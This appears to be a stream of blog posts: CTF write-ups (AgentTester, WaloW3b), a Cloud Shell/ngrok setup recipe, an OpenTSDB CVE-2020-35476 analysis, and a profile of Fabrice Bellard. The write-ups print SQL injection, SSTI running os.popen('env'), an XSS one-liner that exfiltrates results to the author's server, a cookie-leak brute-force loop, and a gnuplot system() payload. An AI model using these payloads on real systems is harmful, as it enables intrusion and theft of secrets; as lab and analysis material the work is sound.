NahamCON2021 CTF / AgentTester Challenge / WriteUp

This weekend I have been playing a little bit with some of the challenges of the NathamCon2021 CTF. In the web category, I devoted some time to AgentTester. Even though it was initially tagged as «hard», then it was demoted to medium (surely enough because there was an unintended solution that I also took advantage of 🙂

AgentTester, designed by the great @jorgectf, includes a Dockerfile allowing you to test it using your personal docker container. 

First, you’ll need to build an image:

$ docker build -t agent-tester .

Double check that the images has been correctly built:

$ docker image ls
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
agent-tester              latest    58a61e41b476   3 minutes ago   1.45GB

And there you go. You can run your own web container, linked to tcp/3000:

Analyzing a little bit the source code of the Flask application,  we can see a simple web app with 4 route entries:

@app.route(«/», methods=[«GET»]) for the home

@app.route(«/debug», methods=[«POST»]) for debugging 

@app.route(«/profile/<int:user_id>», methods=[«GET», «POST»]) for profile management

@ws.route(«/req») This one sends a WebSocket message and initiates a request 

Let’s dig a little bit further:

/ route : it just shows the home page. There we can see a simple input text field and a Submit button. Reading the code it is clear that the user agent typed will be used to query a SQLite database in @ws.route(«/req»):

            query = db.session.execute(
                "SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'" % uAgent

            uAgent = query["userAgent"]
            url = query["url"]

If there is a match, the associated URL will be visited by a headless chrome launched by this line:

 subprocess.Popen(["node", "browser/browser.js", url, uAgent])

That SQL query seems injectable, doesn’t it?

What do we have inside that SQLite database?

Oh, a user table, let’s see what’s inside…

And we also have an admin user. Let’s try to extract the password:

‘ union select password,’http://localhost’ from user where username=’admin

Here we go!

Now that we can impersonate the admin, let’s see what do we have in the /debug route:

@app.route("/debug", methods=["POST"])
def debug():
    sessionID = session.get("id", None)
    if sessionID == 1:
        code = request.form.get("code", "<h1>Safe Debug</h1>")
        return render_template_string(code)
        return "Not allowed."

Oh, admin has an ID=1, so no problem there. And the render_template_string() method seems SSTI injectable. Let’s check it…

Yep! This sentence did the trick:


And there we have, the CHALLENGE_FLAG is one of the environment variables, so we got the Flag using an unintended solution 🙂 Why is it unintended? Well, remember that we also have this unexplored route: 

@app.route("/profile/<int:user_id>", methods=["GET", "POST"]) for profile management

In fact, this profile page is a simple form with two fields, email and about. The later is somewhat  special because the author has added a suspicious security related comment near that input text: 

<div class="form-group">
          <label for="aboutInput">About</label>
          <!-- Let users set anything since only them can access their about. -->
          <input type="text" class="form-control" name="about" id="aboutInput"
          placeholder="A great haxor from <country>" value="{{ user.about|safe }}">

And, as you can see, it is XSS injectable. We can write whatever we want there due to the «|safe» clause.

Well, the AgentTesterv2 (hard web challenge, published after the unintended solution was unveiled) starts from here: the admin password is bcrypted so we can’t crack it. Now what? Well, my idea was the following: use the XSS to inject the following code:

fetch('http://vulnerable:3000/debug', {
  method: 'POST', // or 'PUT'
headers: new Headers({
             'Content-Type': 'application/x-www-form-urlencoded', 
  body: "code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}",
.then(response => response.text())
.then(data => {
  console.log('Success:', data);
   resp = data;
.catch((error) => {
  console.error('Error:', error);

Or, more succinctly, this one-liner:

" autofocus onfocus="fetch('', {   method: 'POST',  headers: new Headers({              'Content-Type': 'application/x-www-form-urlencoded',      }),   body: 'code={{config.__class__.__init__.__globals__[\'os\'].popen(\'env\').read()}} ', }) .then(response => response.text()) .then(data => {   console.log('Success:', data);    resp = data;  new Image().src=''+resp;   })

As you can see, the field will get the (auto)focus and then run the XSS. It basically uses fetch to POST the STTI and exfiltrate the result to my own server (

Then, my idea was to instruct the headless chrome to visit this XSS profile, as follows:

' union select 'agente','

But,  unfortunately there is a flaw in my logic. Why? Well, first, let’s see what user is used to run the headless chrome: 

const puppeteer = require('puppeteer');
(async () => {
  const browser = await puppeteer.launch(
    {      args: [        '--no-sandbox',      ]    }
  const page = await browser.newPage();
  var url = process.argv[2];
  var uAgent = process.argv[3];
  var base_url = process.env.BASE_URL;

     'user-agent': uAgent,

  const cookies = [{
    'name': 'auth2',
    'value': '<REDACTED>',
    'domain': base_url,
    'httpOnly': true

The auth2 value of the cookie is set to the admin’s cookie. No problem here! you may think, the admin can access any profile, like the profile/2 URL in our case, can’t it? Well, the truth is that it can’t. In fact, each profile page can only be accessed by their own legitimate user.  So user_id=1 can’t access profile/2 or viceversa:

@app.route("/profile/<int:user_id>", methods=["GET", "POST"])
def profile(user_id):

    if == user_id:

And here we are, how to convince the crawler (run as user_id=1) to access a profile for user_id=2 that it is not supposed to be accessible… or how can I update the profile of user_id=1 as a user_id=2? No idea, man, but I’m eager to learn about it 🙂

Update: check the solution written by the author himself, this one by @lanjelot, and this one by @berji

Servidor web + PHP + nombre público a coste 0 en 2 minutos

Receta rápida para montar un servidor web con nombre público y soporte PHP, a coste 0, en 2 minutos.

1) Entra en Google Cloud Shell
Verás una terminal en el navegador (internamente usa Debian GNU/Linu 10)
Por defecto serás el usuario X (donde X es tu nombre en Gmail/Google)

2) Google Cloud Shell no es accesible desde el exterior (no te ofrece una IP pública, sino privada)

$ ifconfig

Puedes convertirte en root, tienes permisos de sudo. Así puedes instalar cualquier paquete.

El primero que necesitaremos es ngrok, así que vamos allá

$ wget
$ unzip

3) También necesitaremos tmux

$ sudo apt update
$ sudo apt install tmux

Listo, todo preparado.

4) Abrimos una sesión con tmux

$ tmux

Y creamos un simple script PHP:

$ echo «<?php phpinfo();»> info.php

Lanzamos ahora un servidor web con soporte PHP en el puerto 4444:

$ php -S

5) Abrimos otra ventana tmux. Para ello, pulsamos Ctrl+b y a continuación la tecla c (create)
Desde aquí creamos un túnel con ngrok, para que nos asigne un nombre accesible desde el exterior.

Lo conectamos con el puerto 4444. Todo ello con:

$ ngrok http 4444

6) Fin! Ya tenemos accesible nuestro server PHP desde el navegador, a través de un nombre público a coste 0. Por supuesto puedes instalar mysql o cualquier otra BBDD o lenguaje de scripting (nodejs, Ruby…)

PD: alguien puede argumentar que esto mismo se puede hacer en local y enlazar por ngrok. TRUE, pero el ancho de banda que ofrece Google seguro que mejora al que tienes en casa. Y en la shell de Google tendrás más de 20 GB libres. Rápido, barato y espacioso!

PD2: y otra razón es que puedes editar tus scripts desde el navegador y ver los resultados on-the-fly

Originally tweeted by juanan (@juanan) on 24 February, 2021.

Writeup WaloW3b

Walo Web nos propone dos botones, WaloCheck y WaloMsg. El autor del reto se ha preocupado también de crear un diseño de web ideal para dejarnos ciegos.  Gracias por el detalle, @jorge_ctf 🙂 Al pulsar en WaloCheck, podemos indicar una URL que será visitada por un navegador lanzado con Selenium (inicialmente con un FirefoxDriver, aunque por algún problema técnico se pasó a ChromiumDriver). 

Si en lugar de WaloCheck pulsamos en WaloMsg, se nos ofrece un formulario con un único input text para informar a alguien de que hemos pasado la prueba. Es extraño, porque no hay action, ni submit, … 

Afortunadamente, el reto incluye el código fuente usado internamente. Desde ahí podremos ver cómo está programado WaloCheck, WaloMsg y el browser lanzado por Selenium.

Instalar Redis, Selenium, Drivers

Lo primero que suelo hacer en estos casos es montar todo el reto en local para desarrollar más cómodamente el exploit. Suelo abrir una terminal con iTerm2 y la divido en paneles. 

Vamos allá. El reto usa redis para almacenar las URLs que le pedimos chequear, así que ponemos en marcha redis, no sin antes meterle un bind a la IP local en el fichero de configuración (/usr/local/etc/redis.conf):

$ redis-server /usr/local/etc/redis.conf

Podemos comprobar que el server está bien lanzándole un ping:

$ redis-cli -h ping

Luego dejamos un panel abierto contra redis para comprobar los checks pedidos:

$  redis-cli -h 

Por ejemplo, si pedimos (desde nuestro localhost) chequear, veremos algo como:

redis>  KEYS *
redis> get

Abrimos ahora otro panel para tener lanzada la aplicación Flask que se encarga de responder a walocheck y walomsg. Dejé preparados un script con las variables de entorno necesarias:

$ cat ./
export DB_PORT
export DB_HOST
$ ./

Y otro para dejar lanzado el script que se encarga de lanzar un browser headless, extraer una URL de redis y lanzar la conexión:

$ cat
export FLAG
export DB_PORT
export DB_HOST

Todo listo para empezar a estudiar el código de  y de

a fondo. Empecemos con Vemos que se lanza un browser Chromium en modo headless primero contra «» y luego se establece una cookie para las siguientes llamadas a, con 

driver.add_cookie({«name»: «flag», «value»: environ.get(«FLAG»), «httpOnly»: True, «sameSite»: «None», «Secure»: «True»}) 

Aquí no entendí muy bien por qué se hacía esa primera conexión contra noExists… hasta que revisé la documentación de Selenium, en concreto la sección de add-cookie:

«First of all, you need to be on the domain that the cookie will be valid for. If you are trying to preset cookies before you start interacting with a site and your homepage is large / takes a while to load an alternative is to find a smaller page on the site (typically the 404 page is small, e.g.»

OK, según la documentación hay que tener a Selenium apuntando al dominio al que se le va a asignar la cookie. Para que sea algo rápido, recomiendan apuntar a una página de carga rápida, como un HTTP/404.

En el método driver.add_cookie, vemos que se establece una cookie con la flag (mi tesoroooo) y muy interesante, un sameSite: None. Esto viene a querer decir que la cookie será enviada al navegador (siempre que se pida algo del dominio incluso aunque esa petición proceda de un iframe incrustado en una página de otro dominio. Por ejemplo, podemos crear una página en y dentro de la misma, incrustar un iframe que apunte a El iframe recibirá la cookie. Alguien puede decir, joe, pues ¿fácil no? Se crea un JS que acceda al document del iframe desde exploit.php y se captura la cookie. Fin. Bueno… sabiendo que es un reto de 600 puntos seguramente algo se nos esté pasando… Realmente no es posible hacer lo indicado por problemas de seguridad cross-site.

Me gusta esta respuesta de StackOverflow:
«You can’t. XSS protection. Cross site contents can not be read by javascript. No major browser will allow you that. I’m sorry, but this is a design flaw, you should drop the idea.»

Si intentamos hacerlo, recibiremos un bonito error del estilo:
«Uncaught DOMException: Blocked a frame with origin «» from accessing a cross-origin»

Aquí me quedé bastante bloqueado. Incluso pensé que era un bug del diseño del reto y que al autor se le olvidó meter una opción de Selenium que deshabilita esa protección:


Pero tras preguntarlo, la respuesta fue: «A walo no le gusta meterle más directivas a su browser… 😜»

Mal asunto. Así que, mientras seguía pensando en cómo saltarme esa restricción, pasé a estudiar el código del script

En la ruta index nada de interés, salvo una cookie flag con el valor whyisitnothere?.
En la ruta walocheck se guarda la url indicada en redis y poco más.
¿Y qué hay de la ruta walomsg? Esta es más interesante:

@app.route("/walomsg", methods=["GET"])
def walomsg():
    flag_p = request.args.get("flag")
    flag_c = request.cookies.get('flag')
    msg = request.args.get("msg")

    print(flag_p, flag_c, msg)

    if not flag_c or not flag_p or not msg:
        return "Something went wrong..."
    return render_template("check_msg.html", msg=search('[A-Za-z" ]+', msg).group(), check=flag_p in flag_c) # Make sure flag is valid

La ruta espera dos parámetros GET (flag, msg) y una COOKIE flag. Si están las tres, muestra el template check_msg.html pasándole una condición y una restricción. La restricción es que el contenido de la variable GET[‘msg’] sólo puede tener letras del alfabeto [A-Za-z» ]. Así que poco margen para una inyección XSS. Pero la condición «check» es muy interesante. Nos está diciendo que check será true cuando GET[‘flag’] sea un substring de COOKIE[‘flag]. Y tal y como hemos dicho antes, COOKIE[‘flag’] es la cookie con la flag que Selenium nos enviará a Oh, esto se pone divertido. Pero seguimos teniendo un problemón: no podemos acceder a ese contenido porque el navegador no nos lo permite.

Me gusta recapitular para ver qué demonios me estoy dejando en el tintero. Vamos allá. 1) La idea principal es crear una página . 2) Esa página incluirá un iframe con src = 3) Le voy a pedir a /walocheck que chequee 4) Selenium enviará la cookie al iframe. Y aquí tengo dos opciones: si paso las variables GET[‘flag’] y GET[‘msg’] correctas, se visualizará un pequeño formulario con un input text:

Si paso las variables incorrectas, no se visualizará dicho formulario. Pero claro, «visualizar» es un eufemismo, recordemos que ver, lo que se dice ver, no vamos a ver nada porque la petición va por Selenium a nuestro dominio. Hay que conseguir como sea consultar por JS si se cargó un iframe con el input text (las variables get y flag son correctas) o sin el input text.

Esta es la clave en este tipo de pruebas. Tener como mínimo un bit de información, true o false. Con eso nos bastará para determinar la cookie. El problema es que no podemos acceder a ese bit de información por un problema de seguridad del navegador (consultas JS cross-site están prohibidas por seguridad). Aaaaargghhh… estando tan cerca me tiraba de los pelos por no encontrar la forma. Me preguntaba a ver cómo conseguir saber que se cargó un iframe con un input sin poder consultarlo directamente por JS. Si al menos saltara algún evento que pudiera capturar… ¡BANG! ¿Podría hacer saltar un onfocus en el el input? No podemos inyectar nada que nos sirva en GET[‘msg’]… Pero hay una forma de poner el foco del navegador en un input… siempre que ese input tenga un id o un name asociado. Veamos el código:

Vaya, vaya… un id=»msg». ¿Y cómo conseguimos que ese id tome el foco? Con un URI fragment en la URL: #msg

Vamos a probar en mi máquina local. Asigno una cookie local en el navegador («whereitis», por ejemplo) para probar, y lanzo la siguiente consulta.


Si mis cálculos han sido correctos, el input con id=msg debe tomar el foco:

¡Tachán! Bueno, algo hemos avanzado. Ahora «sólo» queda saber cómo diablos detecto por JS que ese input ha tomado el foco (lo cual quiere decir que en GET[‘flag’] hemos pasado un substring que forma parte de la cookie).

Si intentamos incrustar en la página padre algo como:


Obtendremos el error que nos está mordiendo siempre de acceso a iframe entre DOMs cargados de distintos orígenes. Pero hay una forma más sencilla de saberlo, sin intentar acceder directamente al frame: document.activeElement

Si el foco lo tiene el input, document.activeElement será X
Si el foco lo tiene el body del documento principal, document.activeElement será Y

Y un último detalle. Al frame le llamaré exploit, así que para detectar la condición a), haremos lo siguiente: if ( == «exploit» ) . Ahora queda exfiltrar este TRUE. ¿Cómo? Una opción es inyectando una imagen de mi servidor (y tener monitorizado mi server para saber en qué momento se pide dicha imagen). En concreto, así:

if ( == "exploit" ) {
echo "document.write(\"<img src='" . $_GET['msg'] . "'>\");";
echo "console.log('" . $_GET['msg'] . "');";

(el server es un dominio dinámico que permite tunneling http…)

Tenemos todos los elementos necesarios para ir extrayendo la cookie, letra a letra. Aquí, idealmente habría que hacerlo por JS, creando un iframe, pasarle los parámetros adecuados, comprobar si pillamos foco. Si no, borrar iframe, ir a por la siguiente letra del alfabeto y repetir la jugada.

Lo intenté:
pero estaba cansado y mi script no terminó de funcionar O:)

Así que recurrí a la fuerza bruta. Probar primero todo un charset, letra a letra, para saber de qué letras se compone la cookie y luego, teniendo ese juego reducido de posibles caracteres, ir una a una a partir de CYBEX{…. hasta la última llave }.

Eso funcionó. Me llevó unas horitas, pero funcionó 🙂

Este es el exploit que permite el leak de la cookie, letra a letra:

El juego de caracteres era este:

word=$(echo '} a c f i l m s v w A B C E L O S T U X Y _ } { ¡ ! ¿ ? `' | fold -w 1)

y el encantamiento que probaba, letra a letra, era este:

for x in ${word}; do echo $x; curl --silent -k --data-urlencode "url={$x" > /dev/null ; sleep 30; done

Y por fin, pude dormir unas horas.

Analizando la vulnerabilidad CVE-2020-35476

Hoy he tenido un rato para trastear un poco con un nuevo CVE que me ha llamado la atención.

En la prueba de concepto (PoC) se ve que es un RCE sobre Opentsdb (CVE-2020-35476). RCE = Remote Code Execution, es un pez gordo, no un xss del montón 🙂

OpenTSDB se define como una base de datos de Time Series, distribuida, escalable implementada sobre HBase. El proyecto tiene web propia, y el código fuente en GitHub.

Si nos metemos en el issue, publicado el 18/11/2020, vemos que el código fuente afectado -en Java- no parece complicado:

private static String popParam(final Map<String, List<String>> querystring,
                                         final String param) {
        final List<String> params = querystring.remove(param);
        if (params == null) {
          return null;
        final String given = params.get(params.size() - 1);
        // TODO - far from perfect, should help a little.
        if *(given.contains("`") || given.contains("%60") || 
            given.contains("&#96;")) *{
          throw new BadRequestException("Parameter " + param + " contained a "
              + "back-tick. That's a no-no.");
        return given;

Se limita a obtener los parámetros a través de un hashmap y comprobar que en dichos parámetros no hay una tilde invertida (acento grave o backtick, en inglés). ¿Por qué filtrar una tilde invertida? Porque esos parámetros irán a formar parte de un script para plot que a su vez, será ejecutado como un shell script ( Y dentro de ese script podríamos ejecutar cualquier comando que llegue como parámetro si este está entre `tildes invertidas`.

A primera vista parece que el filtro es correcto. Para probarlo, abrimos un jshell y creamos una mini-clase Java que exponga el código afectado:


public class Proba { public static String popParam(final Map<String, List<String>> querystring,
                                              final String param) throws Exception {
             final List<String> params = querystring.remove(param);
             if (params == null) {
               return null;
             final String given = params.get(params.size() - 1);
             // TODO - far from perfect, should help a little.
             if (given.contains("`") || given.contains("%60") ||
                 given.contains("&#96;")) {
               throw new Exception("Parameter " + param + " contained a "
                   + "back-tick. That's a no-no.");
             return given;
           }  }

Y lo probamos:

jshell> List<String> q = new ArrayList<String>();
jshell> q.add("`id`")
jshell> Map<String, List<String>> querystring = new HashMap<String, List<String>>();
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
|  Exception java.lang.Exception: Parameter q contained a back-tick. That's a no-no.
|        at Proba.popParam (#1:11)
|        at (#6:1)

El resultado es correcto, lanza una excepción cuando intentamos engañarle con un comando entre acentos graves (`ìd`). Pero otra forma de ejecutar comando en GNU Plot es a través del comando system:

Y eso, claro, no lo filtra:

jshell> q.clear()
jshell> q.add("[33:system('touch/tmp/poc.txt')]")
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
$13 ==> "[33:system('touch/tmp/poc.txt')]"

Lo curioso es que el bug sigue sin arreglar y ya empiezan a salir exploits, por ejemplo, éste del proyecto nuclei:

Más referencias:

CVE Database:

One-man-army programmers (iii)

Si tuviera que apostar por un único programador, sería por Fabrice Bellard (Grenoble, Francia, 1972, 48 tacos). No tiene el glamour de Knuth y seguramente su nombre sea desconocido para muchos. Pero si os digo que es el creador de FFmpeg o QEMU, seguro que apreciáis más su trabajo 🙂

FFmpeg es el sistema open source para la manipulación de audio y vídeo más usado. Bellard comenzó a programarlo en 2000, bajo un pseudónimo, «Gérard Lantau». 

Corren rumores de que en su última creación, QuickJS, un intérprete JS ideal para dispositivos con pocos recursos, también juega con pseudónimos, en esta ocasión atribuyendo parte de su trabajo a un tal Charlie Gordon.

QEMU es un sistema de emulación hardware que permite instalar máquinas virtuales con casi cualquier sistema operativo sobre el sistema anfitrión. Muy útil por ejemplo para probar, ejecutar o depurar programas en arquitecturas distintas a las de tu máquina.

Seguramente Bellard sea uno de los mejores programadores de la historia. La complejidad de desarrollar FFmpeg, QEMU o QuickJS es tremenda, y requiere de una tenacidad al alcance de pocas personas. 

Fabrice ha ganado tres veces el concurso internacional de programas C ofuscados, donde las reglas, hilarantes, intentan llevar el compilador de C al límite con programas obtusos y enrevesados, pero con resultados impresionantes.

En 2001 ganó el concurso precisamente con otra de sus creaciones: el Tiny C Compiler (tcc), un compilador de C diseñado para trabajar en máquinas con pocos recursos. 

Tras publicar esta obra se dedicó a reestructurar el código para hacerlo legible y que otros programadores pudieran usarlo y construir sobre él.

Seguramente, ese dominio del arte de la programación influyó en Bellard para conseguir programar un algoritmo que le permitió calcular un récord mundial de dígitos de PI 

(2.7 trillones en 90 días). No parece una gran hazaña… 

…hasta que te dicen que para conseguirlo usó un único PC de escritorio (de menos de 3000€) en lugar  de un supercomputador de millones de dólares (size matters!  🙂 .

La lista de logros de Fabrice Bellard es enorme ( y sigue produciendo aplicaciones y algoritmos a día de hoy, por ejemplo este emulador de Linux programado

en JS y ejecutable desde el navegador, con arquitectura x86 o riscv64.

Fabrice no ofrece entrevistas, pero hay artículos que muestran facetas interesantes de su vida, como éste, un retrato de un programador super-productivo.

Una de las características de Bellard, aparte de su inteligencia y su magia, es que tiene la capacidad de trabajo y tenacidad requeridas para ir refinando sus construcciones, día a día, detalle a detalle, hasta conseguir una obra de arte, usable, útil, importante

De nuevo, algo muy complejo de conseguir y que debería guiar nuestros pasos.

En HackerNews se preguntaban cómo una sóla persona puede llegar a crear todo esto. Y algunas de las respuestas resuenan más que otras:

it’s less about productivity but more about focus and hard work.

Hard work, math, learning and hard work again.

I suspect one of the reasons he is so productive is because he shuns all social media.

Brendan Eich, el CREADOR de JavaScript lo resumió muy bien:

Actualmente Bellard trabaja en AmariSoft, una compañía para el desarrollo de soluciones software LTE/5G (